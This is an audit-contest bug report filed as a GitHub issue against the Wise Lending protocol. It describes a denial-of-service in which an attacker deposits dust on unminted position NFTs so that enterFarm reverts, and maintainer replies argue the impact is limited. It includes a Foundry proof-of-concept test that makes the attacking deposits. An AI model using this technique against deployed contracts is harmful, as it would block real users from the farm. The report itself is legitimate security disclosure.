hats-finance / Wise-Lending-0xa2ca45d6e249641e595d50d1d9c69c9e3cd22573

0 stars 1 forks source link

An attacker can DoS `enterFarm` #42

Open hats-bug-reporter[bot] opened 8 months ago

hats-bug-reporter[bot] commented 8 months ago

Github username: -- Twitter username: @00xSEV Submission hash (on-chain): 0x314d38b19d7ccf83ae5e52e84222ed81050f6f37c5aea7d022893d81d53cf270 Severity: medium

Description: Description\ Anyone can deposit on the NFTs that have not yet been minted.
The NFT ID is determined as, roughly speaking, lastId + 1.
enterFarm calls _getWiseLendingNFT, which calls _registrationFarm, which in turn calls WISE_LENDING.setRegistrationIsolationPool, which calls _validateZero(WISE_SECURITY.overallETHCollateralsBare(_nftId)). It will revert if there is any collateral on the NFT.

Furthermore, anyone can call reservePositionForUser to assign a specific NFT to a user.

Attack Scenario:

  1. Attacker reserves NFTs for some users, deposit some dust and locks enterFarm for them
  2. Attacker deposits on future NFTs and lock enterFarm for any new user

Impact: enterFarm will revert It can also lead to unexpected calculation errors because the code may not anticipate the deposited amount on newly minted NFTs.

Attachments: in contracts/Tests

// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

import "forge-std/Test.sol";
import "forge-std/StdUtils.sol";
import "./WisenLendingShutdown.t.sol";
import { PendlePowerFarmControllerBaseTest } from "./PendlePowerFarmControllerBase.t.sol";

import "../PositionNFTs.sol";
import "../Tests/TesterLending.t.sol";
import "../WiseSecurity/WiseSecurity.sol";
import { PendlePowerManager } from "../PowerFarms/PendlePowerFarm/PendlePowerManager.sol";

contract DepositOnNonExistingNft2 is PendlePowerFarmControllerBaseTest {
    address constant public attacker = address(0x1234567890);
    address constant public victim = address(0x09876543210);

    function testCanDepositOnUnmintedNfts2()
        normalSetup(true)
        public
    {
        // Some very small amount to save attacker's funds
        uint256 depositValue = 1e3;
        deal(WETH, attacker, 1_000 ether);

        vm.startPrank(attacker);
        IERC20(WETH).approve(address(wiseLendingInstance), type(uint).max);

        PositionNFTs positionNftsInstanceFull = PositionNFTs(address(positionNftsInstance));

        uint nftsCount = positionNftsInstanceFull.getNextExpectedId();
        // Note: Exactly 7 on this block on mainnet fork
        assertEq(7, nftsCount);

        uint gasBefore = gasleft();
        for (uint i = nftsCount; i < nftsCount + 100; i++){
            uint shares = wiseLendingInstance.depositExactAmount(
                i,
                WETH,
                depositValue
            );
        }
        console.log("gas used:", gasBefore - gasleft());
        assertEq(7, positionNftsInstanceFull.getNextExpectedId());

        console.log(wiseSecurityInstance.overallETHCollateralsBare(7));

        // Note: WiseLending uses outdated code on a mainnet fork, making it challenging to prepare a complete PoC.
        // vm.startPrank(victim);
        // deal(WETH, victim, 1_000 ether);
        // powerFarmManagerInstance.enterFarm(false, 0,0,0);
    }

}
vm06007 commented 8 months ago

This is similar to https://github.com/hats-finance/Wise-Lending-0xa2ca45d6e249641e595d50d1d9c69c9e3cd22573/issues/38

vm06007 commented 8 months ago

Farm can still function with existing NFTs in it, attacker needs to reserve NFT for farm and put some funds on it. Farms are easily re-deployable as protocol has a way to disengage farms by calling setVerifiedIsolationPool(_farmAddress, false) if needed,

Also should that happen that attacker reserves NFT for the farm and put some dust on it, existing users in the farm will be fine it won't be able to accept new users but existing users would be fine and existing NFTs can be still reused in the farm.